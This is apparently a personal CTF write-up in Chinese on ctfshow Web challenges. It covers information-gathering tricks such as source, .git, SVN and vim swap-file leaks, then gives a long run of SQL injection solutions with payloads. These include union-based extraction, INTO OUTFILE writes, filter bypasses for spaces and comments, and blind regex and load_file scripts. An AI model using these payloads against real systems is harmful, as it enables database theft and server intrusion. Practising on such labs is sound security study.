Untitled
重金买了个号怎么可能不做呢???
好好学学Web了 真的很重要!
信息搜集 Web1~20
Web 1
F12
Web 2
没办法F12和右键了, 直接firefox开发者工具
Web 3
抓包, flag就在响应里
所以有时候没思路就抓抓包, 有可能有线索或者提示的
Web 4
robots.txt
所以没思路的时候就阿巴阿巴
Web 5
phps源码泄露
有时候试试phps读源码, 有惊喜哦
Web 6
也是源码泄露, 应该是备份压缩包
常见的名字有
1 | 'www.zip', |
Web 7
git泄露
漏洞成因:在运行git init初始化代码库的时候,会在当前目录下面产生一个.git的隐藏文件,用来记录代码的变更记录等等。在发布代码的时候,把.git这个目录没有删除,直接发布了。使用这个文件,可以用来恢复源代码。
一般来说就是.git泄露之后恢复源码什么的.
有时候还会需要用.git/config 中含有的access_token信息, 从而访问这个用户的其他仓库
有些时候访问.git会返回403, 这个时候就要试探的访问.git/config, 如果有内容返回, 就说明存在git泄露.
关于敏感目录泄露, 还有SVN泄露, HG泄露等等… 等以后遇到了再来总结
Web 8
SVN 泄露
SVN(subversion)是一个源代码版本管理软件. 同样的隐藏文件.SVN里面会有信息.
利用seay-svn获取服务器源码等信息
Web 9
vim备份文件泄露
当用户在用vim编辑文件但意外退出时, 会在当前目录下生成一个备份文件, 文件名格式为.文件名.swp
针对swp备份文件, 可以用vim -r
命令恢复文件的内容.
Web 10
Cookies里面有内容
抓包分析的时候一般都会看看Cookies的
Web 11
域名解析
http://dbcha.com/ 里面查ctfshow.com的txt记录
顺便学习一下域名解析的类型
域名解析类型: A/CNAME/MX/NS/TXT/AAAA/SRV/显性URL/隐性URL
A记录:将域名指向一个IPv4地址(例如:10.10.10.10),需要增加A记录
CNAME记录:如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加CNAME记录
MX记录:建立电子邮箱服务,将指向邮件服务器地址,需要设置MX记录
NS记录:域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置NS记录
TXT记录:可任意填写(可为空),通常用做SPF记录(反垃圾邮件)使用
AAAA记录:将主机名(或域名)指向一个IPv6地址(例如:ff03:0:0:0:0:0:0:c1),需要添加AAAA记录
SRV记录:记录了哪台计算机提供了哪个服务。格式为:服务的名字.协议的类型(例如:_example-server._tcp)
显性URL:将域名指向一个http(s)协议地址,访问域名时,自动跳转至目标地址(例如:将www.net.cn显性转发到www.hichina.com后,访问www.net.cn时,地址栏显示的地址为:www.hichina.com)。
隐性URL:与显性URL类似,但隐性转发会隐藏真实的目标地址(例如:将www.net.cn隐性转发到www.hichina.com后,访问www.net.cn时,地址栏显示的地址仍然为:www.net.cn)。
Web 12
开始变得奇怪了
进去是一个购物网站, 抓包无果, 看了下robots.txt, 有提示/admin/
要输入账号密码, 账号就是admin, 密码是网站下面的那串数字
正常情况下没有人会这么干吧!
所以还是要多去看看一下可以搜集信息的地方, robotx.txt啥的
Web 13
拿到一个网站可以看看看看有哪些链接是可以跳转的(哪些是可以点击的)
网站下面有个document可以点, 进去以后里面有后台的地址和用户名密码.
Web 14
KindEditor PHP编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录
进入/editor/(这个得目录扫描吧… 利用上传图片遍历服务器根目录, 在网站目录下找到/nothinghere/fl000g.txt
Web 15
目录下有admin/
忘记密码需要填写密保
而网站下方有qq邮箱, 搜索qq可以知道密保答案
Web 16
考察PHP探针php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针.
Web 17
利用ping 直接获得某个域名所对应的ip
Web 18
js代码审计, 找到游戏结果的判断就能找到线索
Web 19
AES加密, 但是Key iv mode padmode都在前端….
利用http://tool.chacuo.net/cryptaes解密即可
文件上传 web151 ~ web170
前端验证上传文件后缀名, 只需要抓包改一下文件名称就能上传后门了 通过ls找到flag.php , cat flag.php即可
sql注入 web171~ web253
web 171
语句:
1 | $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; |
直接在本表内爆出所有数据即可, payload: id= 1' or 1 --+
web 172
语句$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
但是输出经过了过滤:
1 | //检查结果是否有flag |
所以需要把返回出来的username改掉, 让他检查不出来, payload: 1' union select 1,password from ctfshow_user2 where username = 'flag' --+
web 173
语句:$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
1 | //检查结果是否有flag |
这里直接对结果进行过滤, 需要让返回的结果不存在flag, 考虑将返回的结果全部转成十六进制
payload: 0' union select 1,hex(username),hex(password) from ctfshow_user3 where username = 'flag' --+
然后将返回的结果转成text即可, 但是出来flag的时候发现, 其实根本不需要转成16进制, 因为flag里根本就没有flag
字样(ctfshow{3354c0bf-e7ab-4e26-9990-b5679766170d}), 所以直接0' union select 1,2,password from ctfshow_user3 where username = 'flag' --+
也能出结果
web 174
语句: $sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
1 | //检查结果是否有flag |
这下好了, 结果里连数字都不能出现了, hex(), base64()估计都不能用了, 想个办法把数字转成别的字符, replace(str1,str2,str3)
可以把str1
中的str2
替换成str3
, 可以考虑用这个将所有数字换成大写字母(毕竟flag中是没有大写字母的, 没有找到sql用正则的方法, 只能把多个replace()套在一起了
payload:0' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from ctfshow_user4 where username = 'flag' --+
然后将返回的结果中的大写字母转回数字就行了
web 175
语句:$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
1 | //检查结果是否有flag |
已经不能返回任何东西了, \x00~\x7f全部过滤掉了, 考虑文件的方式读取flag. 用INTO OUTFILE
可以将查询结果输出到某文件中, 在这里只需要输出到一个文件里就行了, 不过路径要记得写对var\www\html\
payload: 1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/res.txt'--+
结果就在res.txt里
web 176
开始有过滤了
语句:$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
1 | //对传入的参数进行了过滤 |
只知道有过滤, 但不知道过滤了啥, 也没多想先试试1' or 1 --+
就出flag了, 看群主的视频这题应该是大小写绕过
web 177
语句$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
1 | //对传入的参数进行了过滤 |
一样是过滤, 继续尝试1' or 1 --+
, 发现无结果, 应该是某些字符被过滤了. 这个时候因为不知道什么被过滤, 所以输入越少东西越能判断出过滤了什么.
先尝试1'--+
发现无结果, 可能--+
被过滤了, 尝试用#
也不行, 再试试%23
, 发现可以绕过过滤
再尝试1' %23
又是无结果,明显是空格被过滤了, 利用/**/
注释绕过空格.
于是得到一个payload: 1'/**/or/**/1%23
web 178 179
依旧是过滤掉了空格, 但是/**/
不能使用了, 则尝试用括号来绕过
payload:1'or(1)%23
简单粗暴
看了群主的视频发现还可以用%09
来代替空格, 这个是制表符, 在sql中跟空格一样的作用
payload:1'%09or%091%23
然后在web 179里, %09
也被过滤了, 第一个payload还是可以用的, 但还可以试试别的, 比如%0a %0b %0c
等等, 把ascii码前面那几个字符都试一试, 试出%0c
也是可以的
payload:1'%0cor%0c1%23
web 180
语句$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
跟前面的不同的是, 这次连%23
都被过滤了, 可以说没办法注释掉后面的sql语句了, 只能通过闭合的方式使得语句不会出错
例如1'and'a'='a
, 这样语句就会变成
1 | select id,username,password from ctfshow_user where username !='flag' and id = '1'and'a'='a' limit 1 |
可以看到引号被成功的闭合, 结果也是有的. 但是, 想要查出flag还需要想办法使得username != 'flag'无效
, 因username != 'flag'
与后面的条件关系是and
, 所以并不能通过他原本的语句中的id=
查id = 26
找到flag(id=26是flag是因为前面的题目都是26), 所以需要构造一个新的与前面的条件的关系为or
的条件来查找
所以考虑了1'or(1)and'a
, 但是得到的结果却只有一行, 原因是因为语句中有个limit 1
. 而原本语句中的id=1
是可以查询出结果的, 这里不能让他查询出结果了, 而出来的结果又必须是flag那一条, 所以考虑将or
括号中的条件改成id=26
. 这样就成功构造出payload:0'or(id=26)and'a'='a
web 181
语句$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
1 | //对传入的参数进行了过滤 |
web 180的payload中的字符串这题都没有过滤掉, 直接0'or(id=26)and'a'='a
出结果
web 182
和web 181一样, 直接0'or(id=26)and'a'='a
web 183
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
查询结果
1 | //返回用户表的记录总数 |
结果只会返回结果的数量, 而且过滤掉了很多关键字. 看了下视频, 这里要用到正则+盲注, sql中的正则是用REGEXP’str’来匹配的, 例如select id from table where username REGXEP'admin'
就会查询符合正则式子的username字段的那一行
这里因为可以知道结果有几行, 也就意味着可以判断正则是否匹配, 由前面的题目可以知道flag的格式是ctfshow{xxxx-xxx-x-x-x}这种, 而且只有小写字母和数字, 所以考虑用脚本盲注, 从`ctfshow_user`where`pass`REGEXP'ctfshow{
开始猜flag
1 | import requests |
跑完就得到flag了
web 184
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
查询结果
1 | //返回用户表的记录总数 |
这题连where
都过滤掉了, 还剩下一个可以用来设定条件的on
, 如果要用on
的, 需要用到多表联合查询JOIN
, 在两个表(依旧是同一个表)中查询, 生成的临时表中就可以用on
不管是INNER JOIN
还是LEFT JOIN
或者是RIGHT JOIN
都无所谓, 只需要猜flag正确的时候回显不同即可, 因为这题没有过滤掉空格, 构造payload:tableName=ctfshow_user as a inner join ctfshow_user as b on substr(b.pass,num,1)regexp(char(str))
, 其中num就是flag的位数, str就是猜测的字符 , 因为知道flag前缀是ctfshow{
, 所以从第9位开始猜就行了
1 | import requests |
web 185 186
在184的基础上过滤掉了数字, 也就是说payload里面不能出现数字, 可以用true+true+true….来构造想要的数字, 如99就是99个true相加, 利用这个继续写脚本得到flag
从Y4博客找到一张图
1 | import requests |
web 187
以前做过的md5($password,true)
可以去看看 jarvis oj - login, 一个很神奇的字符串ffifdyop
1 | $sql = "select count(*) from ctfshow_user where username = $_POST['username'] and password= md5($_POST['password'],true)"; |
md5('ffifdyop',true) = "'or'6xxxxxxx"
web 188
先pass , 有点奇怪
web 189
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //用户名检测 |
hint: flag在api/index.php文件中
学习到了一些sql注入可能用到的函数:
if(exp1,exp2,exp3)
, 当exp1
为TRUE
时函数返回exp2
, 反之返回exp3
, 可搭配一些字符串比较函数来进行盲注load_file(file_name)
, 读取一个文件并将其内容作为字符串返回, 用于读取外部文件locate(substr,str)
, 返回字符串str
第一次出现子串substr
的位置strcmp(str1,str2)
,如果这两个字符串相等返回0,如果第一个参数是根据当前的排序顺序比第二较小则返回-1,否则返回1
hint已经告诉了我们flag在文件index.php中, 要在sql中读取文件, 可以使用load_file()
, 所以要在username ={$username}
处执行load_file()
且判断出flag是啥.
注意到$username
没有被引号包着, 所以如果$username
是语句是可以执行的.
这里要用if()
和一些字符串你处理的函数来对flag进行盲注.
当username=1&password=0
时返回的是查询失败而当username=0&password=0
时返回的是密码错误, 可以根据这个回显来对flag进行判断.
首先, 先找到flag在文件中的位置, 因为前缀是ctfshow{ ,所以根据这个来找到flag的位置.
1 | def findindex(): |
然后根据上面得到的flag的起始位置开始猜flag, 最终脚本为
1 | import requests |